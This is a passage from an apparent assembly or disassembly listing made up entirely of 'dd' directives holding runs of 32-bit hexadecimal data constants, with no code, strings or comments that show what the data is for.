411EE103h, 0B8BEAC63h, 38F20D8Eh, 0FB06A0Bh dd 0AD7A53F1h, 0D47F5103h, 1FE20E16h, 45F22E90h, 80EDB12Dh dd 0A812F8F8h, 72385700h, 3430ACD3h, 0C60E07E4h, 40FB37B4h dd 0B1C3F502h, 0BDFC8095h, 1C17D7Fh, 864E5ECFh, 0CCB9C2FEh dd 3D3CC663h, 53398EBEh, 0DE4C4068h, 0EC8522Fh, 94F90445h dd 420762E2h, 8DDFC740h, 48B16900h, 4DD45F5Ch, 7079A7h dd 25AB9231h, 41BD2C95h, 0E6FE0E07h, 74104830h, 0B08708E5h dd 0CAB94A17h, 74910004h, 0F7D844Ah, 0ACC84898h, 220DBE06h dd 0C41240D5h, 0F0A018F4h, 0C1834A21h, 1019C218h, 797F5Ch dd 0CECBB83Eh, 169C55C7h, 0AE9BD302h, 5643364Ah, 5C458028h dd 0B3F61EEEh, 80C1FA76h, 0EAB9AE7Fh, 5B84023Fh, 0ACA0BF8Bh dd 1E655D9h, 0DF41101Eh, 4854127Bh, 915C2040h, 15DC75Ah dd 8FA393C1h, 93D855AAh, 681570B0h, 0CE4A0124h, 66ECA965h dd 1CC7CDEh, 0F654DF36h, 0C9EE0FBh, 207C5800h, 162BE6EBh dd 3BAA7578h, 0F3812FF8h, 0B110EE0Dh, 0C1B13064h, 0B5A2C500h dd 8B5CA63Bh, 0BA81009Ah, 2AD7538Dh, 0D1000D97h, 8E214396h dd 657B5h, 24C039F8h, 3CB86A98h, 6E015E03h, 0F81B904Fh dd 452CACh, 0B249B303h, 6B8AC086h, 3C006EF8h, 6292EA60h dd 495C2EFEh, 0A7032472h, 7DDBA19Bh, 22979802h, 54EB7C31h dd 805A1F34h, 940DF939h, 0C51E3FEDh, 3C407757h, 1C2A0358h dd 0FDB20FADh, 0D384B0h, 0EB0FC110h, 0BD007388h, 0DB568EF6h dd 0F2E03F1h, 8575D493h, 0C997AE20h, 3C985524h, 3E25257Bh dd 5F68C0CDh, 340918A3h, 76B9A84Bh, 2E0F740h, 2B3AEADEh dd 0B0D4A2DFh, 0AD5BC105h, 411E586h, 31112D58h, 9DAB40FFh dd 1C733E92h, 41603865h, 158056B9h, 1A5034DFh, 2C048902h dd 20643FADh, 24AE26C6h, 2500A64Dh, 406528h, 0EBB5AD5Eh dd 9C00CDFAh, 0F2A76091h, 1D5DE01h, 8AE3C2Dh, 7F80CBE3h dd 0A020DFC5h, 8842D769h, 6417F9BEh, 8601A5D3h, 44DC1110h dd 609109D4h, 8CB286Ah, 0AB00203Bh, 71C47532h, 0B8810759h dd 1F40074h, 0C2D34633h, 0C5018E12h, 755808Ah, 0E8CF881Ch dd 20BD5CEh, 0D2B43422h, 0DEC031EEh, 5E071420h, 6B1BCCA3h dd 0A574D450h, 7280069h, 683DBE6Dh, 3E1227BCh, 5F00B9BBh dd 94DFF043h, 7BD10028h, 71D29DEEh, 541C4818h, 0DC8FB345h dd 945B6399h, 12180172h, 0E2CF7B2Bh, 81108076h, 0FCDA759Ch dd 84CD3D60h, 5231F600h, 6149B504h, 2700B0A6h, 0A310E754h dd 2619F1h, 7851346Bh, 280C882Eh, 4F92061Fh, 4B4DB700h dd 0B8EE548Dh, 128600EBh, 0BBCD50B0h, 59008C0Ah, 49E8587Fh dd 0DED657h, 5A81AEE7h, 50723C6Bh, 0C62B2000h, 0DA6A1A73h dd 0F1B900E2h, 0A991A33Eh, 76002A06h, 28B9F19h, 76BB8CD3h dd 0CE7F012Ch, 0AE130B3Fh, 898DECE6h, 0A6AF5A12h, 4F5D64A4h dd 0B7E08B35h, 75DF1BD0h, 806C9E8Ch, 0BDF2D7B2h, 1FF61DFEh dd 8D69970Ch, 788E8024h, 0EABC2547h, 1854506Ah, 6A7F6F04h dd 0BD8020ACh, 1D5B0A2h, 5A41C403h, 25B336Fh, 761D9621h dd 0BC72973Fh, 0DB464700h, 8F54938Ah, 91E71E55h, 266E80E9h dd 0C63F6B8Ch, 44ABC113h, 8C47C8E0h, 0BD6A20h, 73F1EE3Ch dd 0D1FD542Eh, 76B8BB03h, 0F80603B4h, 27F9FEBFh, 0C4C6BE71h dd 11C96700h, 41BA5218h, 7BAF0453h, 0EF76B616h, 8F5A0A00h dd 3AEB5960h, 0ED00F2B8h, 8B7E9CD3h, 29589932h, 78540FD9h dd 0B8AE0033h, 0EE95A60h, 1B256255h, 36B2F8E0h, 0C0FD7A44h dd 64B6EBB4h, 0AA4674h, 2C946E0Ch, 1B1B341h, 2419DEE3h dd 0F887B88Eh, 0B7953DD3h, 9FAD021Ch, 7E608209h, 8B2801DDh dd 0CB07D452h, 5CEABFE9h, 68820EB0h, 3479EBE3h, 32E0F704h dd 1A8B341h, 0C45EFD6Bh, 500C1DF6h, 0C30A88h, 694060FDh dd 0B2ECA3C2h, 64921D0Dh, 6068588Dh, 0DB112221h, 6C230796h dd 0CCE679B7h, 7C0D44h, 0BF1B8A46h, 0F69608ECh, 852FA979h dd 0C5D4895Fh, 671BE4F4h, 0C2026DD0h, 6D7286Fh, 85451A24h dd 0B6311FFh, 7C6527D0h, 0A6076B17h, 35C81400h, 5DFDA5h dd 4B252C26h, 0F168AA1Ch, 0C70F8F00h, 69E7443Bh, 6BFC3FEFh dd 0AAEEC48Fh, 27F3A3E0h, 0A6011F25h, 0C0C55DE8h, 0BECDF70h dd 0EBA8037Bh, 3EB6E96Ah, 0CF0A71C0h, 878C641Dh, 7453DF00h dd 33AA8B2h, 704B12E9h, 8372B11h, 1A702158h, 48AB5FA8h dd 5060E36Bh, 0CF946A57h, 4236D9E6h, 20205849h, 38D843D6h dd 18547520h, 11DDE724h, 0C7013C3Fh, 68306AB6h, 98C52EBh dd 1F205436h, 0ACC72400h, 17626302h, 1FA3730Dh, 0C301F7DEh dd 658D5CF2h, 1FA29900h, 91E5B8B4h, 94380B9Bh, 681EB0Bh dd 8056F77Fh, 0FC33DF50h, 0A0ED648Dh, 0CCD4EBA8h, 13217709h dd 0D7008690h, 8BF37EBCh, 980321F8h, 0EA1231C6h, 0C75542C9h dd 349B3103h, 61889ED0h, 0E98250F6h, 705FC4EEh, 3229DC70h dd 1032B425h, 0DFBCA0D2h, 139FF58Eh, 602CDBh, 9BCA928Bh dd 0E8004550h, 39B84CE7h, 39F0DA08h, 0D31E38ACh, 95420171h dd 0F0F1E98Bh, 0A8E2835Eh, 62FA6603h, 0A0A10F53h, 2F9859h dd 354175Ah, 5F82C2C0h, 69A70807h, 0CD70573Fh, 39AF73h dd 0C56E9822h, 581BB5EBh, 0E3BACB00h, 8A4284E6h, 0E4ED25BFh dd 540F725Eh, 0E719A0A3h, 476A94h, 75606CA0h, 663E069h dd 29C7530Eh, 5789A0A8h, 3586771h, 18FE937Bh, 0FFA9C482h dd 0ABD9F85Ch, 2A059400h, 29FBDA16h, 0CF9100A7h, 65CAC5B0h dd 62E46696h, 186BBE3Bh, 38202A09h, 21C500A9h, 6CED6EE6h dd 3900FC37h, 5E9F79D7h, 0A9F976h, 0E4EF9224h, 7EA7D2F2h dd 9B01B303h, 0E291A6FEh, 49126029h, 28856F12h, 0BBB08703h dd 0DEC59803h, 795627FDh, 4921C008h, 22E4BBA8h, 0B1D34000h dd 8D547CE6h, 7EFA0CD0h, 0F4786CABh, 0DD3CBA01h, 0E25C8B1Dh dd 4180AAF1h, 390131A7h, 2E067954h, 3E118BDEh, 21096008h dd 1B393457h, 2E177200h, 0C33720E3h, 0D875300Ch, 6EEFCA50h dd 0C89C4730h, 3E4E2427h, 1002325Ah, 0AD64B22Ah, 6A70A8A0h dd 3001469Dh, 0E6041B36h, 0B1D0024Ch, 8F9C17AAh, 0A94E001Ch dd 5C85AEEh, 0AC7CBFECh, 0BEF5F100h, 914C6E5Ch, 0E40D0281h dd 0D0409045h, 342F58C0h dd 0E31FB304h, 7180CD15h, 128982h, 4A99E07Bh, 3218F1F0h dd 1E9C0501h, 2C575313h, 60DF10D8h, 0EA2730A3h, 2900478Ch dd 820ABAB3h, 0F6A04Ch, 268D4EB6h, 5AA2E732h, 8E9E9A07h dd 0AC168F7h, 708A583Fh, 0F3C37E6h, 0F940FEEBh, 0FA0E354Eh dd 3A008373h, 0B1013045h, 1C2FDA12h, 82C4A64Ah, 0EB924155h dd 8D004154h, 0A17EC7F7h, 0B0CA3042h, 39C66D10h, 3FCDA0C0h dd 0A21005h, 0D77BEE4Eh, 0E655BB48h, 0AF9F5704h, 2380C8B1h dd 1DC5DD0Fh, 4F90FA1Dh, 0CE80C7C2h, 2D5ABC44h, 79300FE6h dd 0CAFE19D7h, 6FD800F1h, 464A2056h, 0E900E7EAh, 24E3197h dd 18A33399h, 0E13FE37Ch, 1707FFCCh, 0E62EEAEEh, 0A3C8BCA2h dd 0E19D2CA0h, 11D4F120h, 0E70D00A6h, 10421579h, 6902B74Ch dd 0CDBA8A27h, 4E8CC036h, 89CF1CFFh, 0E5030017h, 1AF9A788h dd 0A33B4F00h, 0A1F4833Fh, 607B001Ch, 0D912B014h, 970E396Fh dd 8638C771h, 1C20AC55h, 40B07CB3h, 5CC91BE1h, 0F1011015h dd 0A11D59FBh, 288CBFA3h, 0C0513F9Eh, 1FE0C1Dh, 7A651507h dd 9B208Ch, 2414EC17h, 0FC18A7B4h, 0D4081B66h, 0EB60541h dd 0C03F4EECh, 0C6BC6905h, 506A9030h, 0D6AB65ACh, 0AF5C0029h dd 0E9B09FB9h, 468E4B00h, 2C5ACD32h, 18D472DCh, 381D12B8h dd 8703A41Fh, 6E11DB7Eh, 83828018h, 0FE4C0C41h, 35E1C780h dd 0A6AA100h, 0B74899C4h, 5EC5009Ch, 0ED587840h, 29C0C381h dd 947A01EFh, 540C2672h, 3ABF0788h, 252E7043h, 4F06BAC0h dd 23C6DB2Dh, 0FAAC0081h, 0FE300E72h, 2818202Bh, 0FBC9AFF0h dd 1B117C50h, 3105B8EBh, 52F386E8h, 21E94900h, 8434A764h dd 0B181C7C1h, 813B0067h, 0DB00D763h, 0C6F449EBh, 1561721Fh dd 0C0A3A7C5h, 809E6F00h, 98789270h, 2E563A7Ch, 0B02902F8h dd 3117D911h, 0C8B21369h, 0E206EB0h, 0C52C6A0Ch, 409F6585h dd 0E6815DE4h, 0C9003BA1h, 0F774E241h, 9E91EFh, 0DB164577h dd 6E042E82h, 0FE06A31Dh, 6B767587h, 3ACBEF0h, 0A62F3617h dd 19469868h, 10B06202h, 6C317FD9h, 0B02A7D10h, 4B8E015h dd 5F007398h, 0C655390Fh, 3303508h, 3133F323h, 0B10FA166h dd 0A080406Eh, 92CE34D5h, 736509B4h, 11FB04h, 0A975E420h dd 850A063Bh, 862842DCh, 729E7805h, 953FD027h, 227E7CECh dd 746CA724h, 15811711h, 0C62412ECh, 0D810D231h, 4C00EC0Ch dd 5FA528D9h, 15A32369h, 84F12103h, 9F98C93Eh, 0B8DB31C8h dd 58811B60h, 31FBB9h, 627F9EA4h, 86C5026h, 0DC0CFD00h dd 0D2EB84F2h, 661A18BBh, 6F0B91A0h, 2F4E980Eh, 25AE02Dh dd 139EA56Eh, 1822DC55h, 7CE730C1h, 70FB0F18h, 0F0E3CE1h dd 2F866D33h, 0D79E07A3h, 215646EFh, 36323FA0h, 3A1CA000h dd 3D9E5BC6h, 0FBA9C66Bh, 90002980h, 0E8DE0DBBh, 5E715608h dd 3B7C0C5h, 1400A6A2h, 9ED6A783h, 2439E715h, 0C0082DA3h dd 0D914B02Eh, 9138DF21h, 76B1036Bh, 987F2DB0h, 26948B2Eh dd 210E40D7h, 3EE80098h, 3DE34BC4h, 9908AD07h, 0F09029D2h dd 38D9B31Ah, 0C015F52Bh, 2980E073h, 842416ECh, 0BCD3448Ch dd 0FEEC8000h, 86A2E666h, 1DB93012h, 0EF65DC71h, 8E47F901h dd 2C685D88h, 40292CCh, 363D17B6h, 7284806Eh, 0A860081Dh dd 224CC0C9h, 9E16003Ah, 235BB7F1h, 6BE8B8D9h, 19C788h dd 0C431C53Ah, 0FCE82F29h, 0A994502h, 8AFDDC36h, 7C1144C3h dd 15EC1881h, 0D131FA24h, 0EC0FBB10h, 2385E700h, 989C1E8Eh dd 7C9F301Dh, 0A008B441h, 0ECB0A1D8h, 160286A7h, 0D19E2A3Ah dd 630016B8h, 574B3A2Eh, 0CBE7802h, 0C81E0495h, 0CE002041h dd 0CC32F8FBh, 45ADC65h, 241704ECh, 880CCFA3h, 15C0CF69h dd 47748CFCh, 489B840Ah, 114F46Ah, 8CC8BCF0h, 1FA23400h dd 0B945A199h, 9E663006h, 297C8B41h, 11E9F51Ch, 0EA5FD2C1h dd 0FFE8B47Dh, 0C9673052h, 0BE0BDB49h, 0FEF8FA00h, 0DADC3FA7h dd 97E0ED5Ah, 24867751h, 4094E457h, 0B89840C5h, 0E6A4B400h dd 0FD62ED6Bh, 0FA480018h, 0BD09449Ch, 4A602860h, 0D1141C31h dd 46DC9003h, 33120283h, 310F8629h, 0EA2F1068h, 6EF00032h dd 0B1C24CBBh, 0FE301A1Bh, 8F862103h, 427F0034h, 0A52DAADEh dd 6A0BBEA1h, 4D5744Eh, 8445D160h, 6DC04F4Dh, 0B7507DC0h dd 481D5962h, 0DC00C3DFh, 31390981h, 80191667h, 6D5030CEh dd 49C0A266h, 0FD4DDEAEh, 0C5CF037Dh, 7339DC81h, 10DD823h dd 866F3310h, 5A19E6FFh, 32E58910h, 8423310Ch, 98FA995Bh dd 0AB4C001Eh, 3EF0A2D2h, 0A0A474DAh, 0E0DBB416h, 44F61430h dd 852A00FAh, 0AAB25A8Fh, 82059286h, 1AE443EEh, 3E9FC48Ch dd 0C380CEBFh, 0B417C43Fh, 0D13862E0h, 0E4978142h, 7BF7F67Ah dd 0EBC0CC5Ah, 504133E2h, 0B9E0447Fh, 249E363Bh, 0C95AC4Ch dd 97700358h, 0C8083305h, 9847E749h, 430244BCh, 2F413Fh dd 1C4885A2h, 121595ECh, 31DC278Eh, 22831DECh, 8FA83CF8h dd 61DBFDCEh, 0B5364726h, 1F1BAFD0h, 0F6B988h, 1CFF68DAh dd 0A1264DEDh, 0E6886482h, 3A1460A7h, 0C1219E18h, 5791B8h dd 513A2BC5h, 0A4170552h, 1FB930A8h, 0B5956B21h, 3E72D600h dd 0C60DA12Ch, 92E905A0h, 941C7EAh, 0D8B701C4h, 0B2CAB100h dd 16B35809h, 3AAAA4ADh, 0D023DCh, 3E19085Bh, 0C300274Fh dd 0F43972E3h, 917BF85Fh, 18567158h, 42F600C8h, 0DB5F2C8Dh dd 4500F5C6h, 0CFF970D5h, 1C9CD14Eh, 0CFABAB7h, 4889AA65h dd 90A23900h, 2D7871E4h, 2E520063h, 44F84CA8h, 0A03C7261h dd 1812862Fh, 7106FBh, 79CA3CCFh, 3D2A01D5h, 0D0DB2E01h dd 5A80FE29h, 9D69C450h, 0DDA500A1h, 0E2B2A670h, 41C059FBh dd 236BFEE0h, 5FFA00EDh, 3EB65343h, 353BD228h, 0C5D180AAh dd 0DCE1A359h, 73D8091Dh, 9C86D0EEh, 200B9A4h, 723F355Fh dd 61F384Dh, 87281655h, 843021A9h, 0D9BC89C6h, 757A00AEh dd 62E526AFh, 8F02D160h, 0B8D8A617h, 0E43C43C7h, 173A1360h dd 48B99E2Ch, 3E2ADE70h, 3538E53Ah, 153BEC0Ah, 6F9A0CB8h dd 660086E1h, 0DC44841Fh, 0A5F7ECD4h, 6071E4E8h, 151F791h dd 0BFABFFC9h, 633613A2h, 30D3A2CCh, 8E1217D6h, 0C8001663h dd 3F743684h, 9771E40h, 225E00D1h, 0C89323A9h, 0F444F900h dd 0DF824670h, 5B3F13DBh, 0E11C1C05h, 0DC899800h, 0DBFF80h dd 9E9900Ah, 77D266Fh, 6DE3C414h, 59841CDCh, 0F97B89B0h dd 74E1009Eh, 0FC3FA120h, 2B04B0ADh, 66291F45h, 0F5B90A4h dd 3A039FAh, 38115180h, 6E1FC9BFh, 9980DAD5h, 7465D0B1h dd 83C60E2h, 40619FFh, 69BE2130h, 5DEFC71h, 3D03E3Ah, 0C7400217h dd 0B0A41E9Bh, 62ECCC34h, 0A4E158h, 8283FB2Ah, 1C9CB820h dd 8023723Ch, 5EF5C717h, 31C0C284h, 6D8EB4BDh, 45050051h dd 9BA8836h, 3B00499Ch, 65CF0269h, 848E9Eh, 0A96E040Ah dd 8226099h, 0BFAC89A1h, 51C5B091h, 48838EB9h, 5C0051AFh dd 786709D0h, 930470E7h, 7BE9D3E4h, 987C8Ch, 523E9550h dd 54C5A181h, 7E261E0Eh, 2DCA40CCh, 0E6F209D5h, 0CDC70B11h dd 94E02192h, 2349C83Bh, 3AC0470h, 10B4F0F6h, 90B009h dd 0F3746A81h, 0DB0CB2EFh, 31B6B837h, 562744C0h, 7B497011h dd 1C3C7F58h, 97DB1824h, 0DCCF0FA5h, 0E031B32Ch, 57751E00h dd 2F37DBF8h, 94A6009Dh, 383A7886h, 0AC0099DEh, 8865C8AFh dd 78F3D55h, 7A354604h, 54E1809Eh, 0D118808Bh, 0DB11BFEh dd 0EBBA1D57h dd 90C74AD2h, 945044E4h, 406CC234h, 86F208E4h, 72FAA645h dd 0DA7EB8h, 9D9E8FA9h, 5019A7D3h, 4DFACC05h, 3F81A658h dd 3FFC2A8Eh, 3E74921Ah, 0AD0FB7C6h, 0EF8227A0h, 0A0484A96h dd 0AC72DC94h, 134C3548h, 5CD06659h, 714E4C2Bh, 0CC0313CAh dd 5DC00062h, 65183B5Ah, 0B9B4980Ch, 8B6110h, 2977992Eh dd 9FC75139h, 8A9D78A0h, 8F451400h, 26F41DABh, 7F0283Dh dd 0F8381894h, 6A32297Fh, 53294A00h, 0CA66DD94h, 0A2361F1Dh dd 48C28019h, 1EB8F6E6h, 755C71C0h, 3C8BC112h, 0E807B73Bh dd 38E2227h, 5EF16DFBh, 73D0F07Ah, 2B6C9800h, 0C8786523h dd 724702F5h, 0CBE53C4h, 22933840h, 7C23E007h, 0C52060FCh dd 5485674h, 30DB762h, 6088051h, 0C648E515h, 0A84E7B44h dd 273AB443h, 0FB60E86Fh, 0A853AEEh, 0E04FD3Fh, 822AAF7Eh dd 6A6264A0h, 0AB70B000h, 0C730308Ch, 2EAC4192h, 5CFF03FCh dd 6D10FB9Eh, 988C7298h, 5D0B81F0h, 0D7573Bh, 70EA5B80h dd 0D94B035Eh, 721475E4h, 9B0BA4C0h, 0A8834013h, 105215h dd 0CF233F52h, 30FF704h, 0EDE64051h, 213EC081h, 8D6E00C2h dd 0FC6C7987h, 7EDC0331h, 5FE7CECh, 6D3B9900h, 9C2324D7h dd 0ECB49044h, 0CB3888F1h, 0F86A9E00h, 0E2F3E9B6h, 3FB776Fh dd 0AF122698h, 1013AEDAh, 14C65305h, 7EC00A79h, 4C48C98h dd 8397224Bh, 99787970h, 58209000h, 7329E450h, 7B16049Ah dd 0C846A3D9h, 7F0423D8h, 0DF5BA0Ch, 10AC9482h, 810DB18Ch dd 51766603h, 0F7C5E8h, 2E1BFCFh, 288210FEh, 0E9388450h dd 98782A09h, 4C8C80ADh, 0F0F6779Eh, 7A343BB1h, 0F890CE09h dd 80CB1C48h, 33608D07h, 4640EE93h, 0F10C6Eh, 0A19EFCA9h dd 2E1BC17Ch, 0C8170426h, 1A99C741h, 66764180h, 0B1DBC8FAh dd 0AD3F3C90h, 94FBA47Fh, 0F84A6C40h, 4BCB72AAh, 0C83C2081h dd 0AD0015BCh, 14A276F9h, 509180F5h, 9016F91Eh, 1F8604C4h dd 0CCBC3FF4h, 1A00685Ch, 0BE07D425h, 0B08D08h, 265DB65Bh dd 0FED2A78Fh, 0F8616E63h, 72BDE82Fh, 0DF9836h, 46DCDBA2h dd 1E5AC385h, 43A3CE14h, 3674C1B4h, 802219BAh, 7AE45C00h dd 10A12852h, 202C122Eh, 80709208h, 0B0316FAh, 860A071Ch dd 9080FDB3h, 13940240h, 0F890E461h, 6E9B0015h, 208FB376h dd 0D830A3E7h, 747E6907h, 0F78700EBh, 0ED70D6DEh, 770FE9D5h dd 0E04E9D81h, 0A0FAF5D3h, 0F6041649h, 943458h, 45559C44h dd 0E307F80Eh, 0D38F015Bh, 58A1E0E0h, 0FD03092Ch, 0BC90D8A2h dd 804AFECBh, 0CF78C440h, 0F84996h, 0A221142Dh, 0DE986720h dd 0FF28870Fh, 0B609D675h, 713F8C1Ch, 0E20F09B2h, 8D802AD2h dd 0A0C6405Ch, 0CD37A71Ch, 6DFC8087h, 0C0132222h, 197CEA74h dd 81BCDA9Eh, 22FBh, 3E970D0Fh, 0E728F0BBh, 0B0E4F8D7h dd 77F90943h, 10008444h, 30D8AA09h, 2364A42Dh, 79ED70h dd 0C3C8D5ECh, 8FF7E26Fh, 0C795570Ah, 64125496h, 325A9CD0h dd 0B7D0007Fh, 67401926h, 281714BBh, 6093469Eh, 0DB80EFF7h dd 38D92B21h, 538D1373h, 6010270Fh, 267DDC0h, 6DF3A708h dd 0B5290095h, 0B054EC27h, 2A0EFC3Bh, 4333245Eh, 0B358CC74h dd 0E2D880CBh, 0DFAC2E35h, 484D0387h, 40DEFF7Ah, 0BDD12700h dd 0FC7E46B9h, 0F3B000A0h, 7E6BEC6h, 9E00739Fh, 0C80F2035h dd 0E812F95Ah, 1FA90142h, 0BBCF9D24h, 7030804Ch, 36B00877h dd 0B54800CBh, 7211395Fh, 1278B346h, 0D17D6700h, 0E4A69E44h dd 39CD60CFh, 0BD8FB6A1h, 9F276F00h, 19EE96DFh, 63600C4h dd 3926942Eh, 0A1302D38h, 552099BFh, 586107ABh, 0FF98871Eh dd 71B733A7h, 0F81FB67Eh, 25F06CD5h, 4C30A763h, 0C060D073h dd 1940F070h, 18F7AD2Dh, 48A9D4F3h, 3954B901h, 0AA745EFh dd 1E46B0CCh, 40162C0Eh, 0EED3C90Ch, 81C343E9h, 0C573BDh dd 0EB994641h, 0C39062D4h, 9D918A01h, 41E9CCA9h, 323106C7h dd 0F1C1CF58h, 932B7E01h, 0B4A9BD17h, 53D01CD5h, 5CA031F8h dd 0D00BED31h, 0F7006B66h, 8720A7D1h, 117E48Dh, 85C24D28h dd 9125A33Bh, 0FF03C788h, 669DA91Fh, 0C4E9A8E1h, 0CA305808h dd 1CC62144h, 3036EEABh, 0D46951A1h, 633D4EF2h, 53E403C0h dd 0F8A41CCBh, 0CAF745h, 209D88D2h, 0D32A81E9h, 0E86D1F00h dd 0ACB86C60h, 8859C0E3h, 7F8F9226h, 53A122h, 5DEAD0AEh dd 4C79C80Ah, 0CFDA1A00h, 0A30CC598h, 622400A8h, 3DFE9147h dd 9E2AD43Ah, 0AE04D4F1h, 0E4C7DC46h, 5D05E2C0h, 0A38C3C81h dd 8D6FE900h, 3DB735EFh, 288018A2h, 5D3C608Fh, 3A5C6CA8h dd 651B9604h, 0B2C05E35h, 7E3732h, 1D75281Ch, 1E3680BCh dd 0B7FEEEF0h, 0EBC990A8h, 93392E1Eh, 0E63FAB00h, 0F81D6A89h dd 27EE0059h, 46B62413h, 7F0CE5C8h, 71BEA0B1h, 6E560025h dd 299B0CE6h, 0AC2A09DAh, 1A0390F6h, 0E83FC8D6h, 0A9F780EBh dd 52280277h, 49109D95h, 55000C46h, 943E8A5Ah, 29EECDh dd 59B239FBh, 0FD7EA31Eh, 31137100h, 0D4A6F8E2h, 96E90E21h dd 868062B2h, 18C60A07h, 0A5BCD102h, 20EDADFAh, 4F6876A0h dd 0D49C6C01h, 2E93B2A6h, 202E04Ch, 90B41936h, 5B205C9Fh dd 3BF4EBh, 400F056Ah, 0E347024Ah, 8B12B903h, 987A45A4h dd 12BB91E8h, 1E1F1BCh, 0ACBF5ABCh, 3E5980EBh, 77BD939h dd 80A50183h, 0D3D047A4h, 1D85F441h, 34E7EE00h, 0D5FF5D4Eh dd 963018C1h, 5B2081B9h, 8033FA00h, 95CF7B3Fh, 0BFCC2AD8h dd 39300094h, 2915814Bh, 0FB015CFAh, 11D97E05h, 20D4E4ABh dd 62D10007h, 0E98C39AFh, 0D20333E7h, 0AC01C9BEh, 35A101F5h dd 6B05DEC6h, 4FF0CCE0h, 909A851Ch, 600CA04Fh, 75486AA8h dd 0DACA03D9h, 263E3B38h, 0BF70FEA8h, 68BB3701h, 286C87A1h dd 1F85D040h, 0CCA70094h, 0E9979C42h, 0D1C0BA40h, 0BDA0741Eh dd 0CFFA1830h, 0A3EFC9B9h, 31600100h, 0FF392AD8h, 0B50E0010h dd 3E338963h, 0AFEAC6ADh, 0CBEB3C00h, 0D8270FAh, 0BDC70823h dd 0CF8CF07Eh, 733551B8h, 0A38500DFh, 0BC0BC00Eh, 43027071h dd 424736EAh, 0D194841Dh, 80BEDCC2h, 62D2318Ch, 741A0086h dd 0CB3B09B4h, 110F9791h, 40D9C273h, 0C380B9CAh, 0FFBB0166h dd 764731A3h, 21BC255Ah, 0C2A44496h, 88468708h, 92119900h dd 6CD77F0Dh, 0D47D0083h, 0E426E95Ch, 118C4EAh, 0C6C1CFE3h dd 0D2660441h, 84C855E0h, 0D98880DEh, 0B0C11E20h, 0F230B685h dd 50CAF824h, 0F4491C46h, 3C61F0B1h, 0CC9747h, 4C700EC0h dd 5E00BCBAh, 923621F7h, 16268A9Dh, 0EFFF894Bh, 7EB85319h dd 74488422h, 3042330Eh, 0A7109C80h, 0B4922BDAh, 4B1B41E4h dd 0B861C896h, 0F2B370h, 2AB28DA3h, 0D26FDBE7h, 8DE0201h dd 5E85241Ch, 1878D0h, 7405B08Eh, 5C1BF1AFh, 5B925F13h dd 463CD006h, 0AC381851h, 143A89F4h, 0D558E700h, 41E85159h dd 7DB200DDh, 769D55FFh, 0F490FC24h, 0BD796204h, 4640C54Ch dd 0BFD2237Bh, 0E32ED009h, 0F4948437h, 805FEE47h, 0C9B8796Dh dd 0C5C16814h, 424A3A80h, 0AD864306h, 0EF0711E8h, 656A567Ah dd 8A930DC0h, 1CBD1E9Dh, 0D1A0806Eh, 0CAE286BFh, 188D914Ch dd 4E39EFACh, 0DF3F0064h, 413014F8h, 80A01173h, 6F16D7A6h dd 0FC346ACAh, 0F818C8h, 0B5147847h, 9636A2FAh, 0D3687C00h dd 0E50A0AEh, 700919Eh, 9078ED8Fh, 32B6D195h, 0A30104B3h dd 0BCCF13C7h, 82956180h, 24227466h, 4059B70Ah, 8D019096h dd 0E9847EC7h, 99CEA730h dd 984500C0h, 0AA932F17h, 59866001h, 0B4CFFBCCh, 0B23E2180h dd 3C2F1372h, 118A938h, 0E6A40237h, 898E579Bh, 70811506h dd 0F4E5B367h, 0D000E65h, 6E88ABD4h, 0F909DEh, 589D3987h dd 8D0699E9h, 0D3ED3700h, 7F3C4321h, 54800D8h, 2402424Eh dd 3A5CE98Ah, 0B5CEDE3Ch, 921198A1h, 7E350023h, 53A23902h dd 690B8CB3h, 6385BAh, 26FD6B98h, 742D0043h, 44A6D6ABh dd 0C6001FD5h, 71BA7E62h, 6340EE3Fh, 0A59B51F5h, 0C9C7C90Bh dd 0F24006Bh, 1C6C4069h, 833688FCh, 935A6DB9h, 0B2C38498h dd 71FB6007h, 0C73320C5h, 0CA77F955h, 0BA696CC4h, 0B4B10480h dd 1EBEC0ABh, 503202C3h, 632490FAh, 81431F5Eh, 316818CBh dd 6AF02640h, 8814CE48h, 834387A4h, 7172407Eh, 850F5346h dd 0C3F9B61Eh, 0DF951B84h, 44965232h, 125B02Ch, 0FECE7245h dd 0CCE3EB2Eh, 18FAD601h, 7098F379h, 95299100h, 941C26AEh dd 9C1D480Bh, 20C1A722h, 0C1ACA37Eh, 328CC180h, 6EF413E0h dd 0B4D30324h, 27C02510h, 0ABF3F8E6h, 8CA3D524h, 0FFA40C60h dd 894100BDh, 0F4A6357h, 39C34DC8h, 0C2495CF3h, 90C8447Fh dd 3F697BD0h, 348795A5h, 0C01EE421h, 0CC987F6Dh, 821939C3h dd 0ED27B877h, 0F81D5048h, 642AC0E9h, 41CAB604h, 0FB01ACA4h dd 0AF96D4B4h, 4180FE9Bh, 0EFB58824h, 6E096718h, 4C1AE6ACh dd 92D3169Ch, 0A2EC30CBh, 7C001A5Fh, 0CE45389Ah, 7D8916BDh dd 25B624B7h, 0EF4E40C8h, 96080795h, 3EBF35E9h, 0C890AC35h dd 0B9727848h, 689E4928h, 7A13DE00h, 0D1D608DDh, 0A4AB5CE2h dd 0F7A01587h, 0FAC9F0A8h, 9A00D011h, 0C221FE84h, 45E9F83Ah dd 7EB8303Fh, 0AB128102h, 0C8992290h, 8143DF1Ch, 0F146296h dd 0C0FD2642h, 99985FEFh, 285C00F2h, 4F96EA0Ah, 318D89Bh dd 1B59C3CCh, 0EF72003Ah, 0F555276Bh, 0FA2E10EAh, 5130C326h dd 0B8A861h, 6F21356Dh, 49852ACDh, 0AB94E30Ch, 2C41C9EEh dd 793593h, 520D9577h, 8030C804h, 492621C4h, 1B8A6A6h dd 272F90BFh, 70C4A986h, 5801133Bh, 0C6F8E96Eh, 56DCDBAAh dd 0B75D132Ch, 0E19420C1h, 7A091ABDh, 83134D57h, 0B6CE38h dd 3B8A9FC9h, 6A10337Dh, 3622C801h, 0B211B9C4h, 5A347F4h dd 4BB0E298h, 30B8990Dh, 4C908120h, 96003574h, 40A3AE90h dd 91AC51C4h, 18F100F0h, 0BDB2F0DCh, 0B4905898h, 44178617h dd 0B1258A00h, 282C60Fh, 77B266Fh, 0FCE435EEh, 8B209B48h dd 39788034h, 1140265Dh, 1F5AD4Ah, 0B676FF3Eh, 55E44F21h dd 0DA1C003Ch, 0FC0878EBh, 9903F406h, 43EED52Dh, 84591156h dd 92711FFFh, 180F783Ah, 896C952Bh, 89C400Dh, 0BED20B6Bh dd 0B000A664h, 0DE5ABD76h, 8E00ECB8h, 0A423E94Dh, 982E4C47h dd 98A0E20Ch, 0D7E701DCh, 823E278Dh, 40A1D192h, 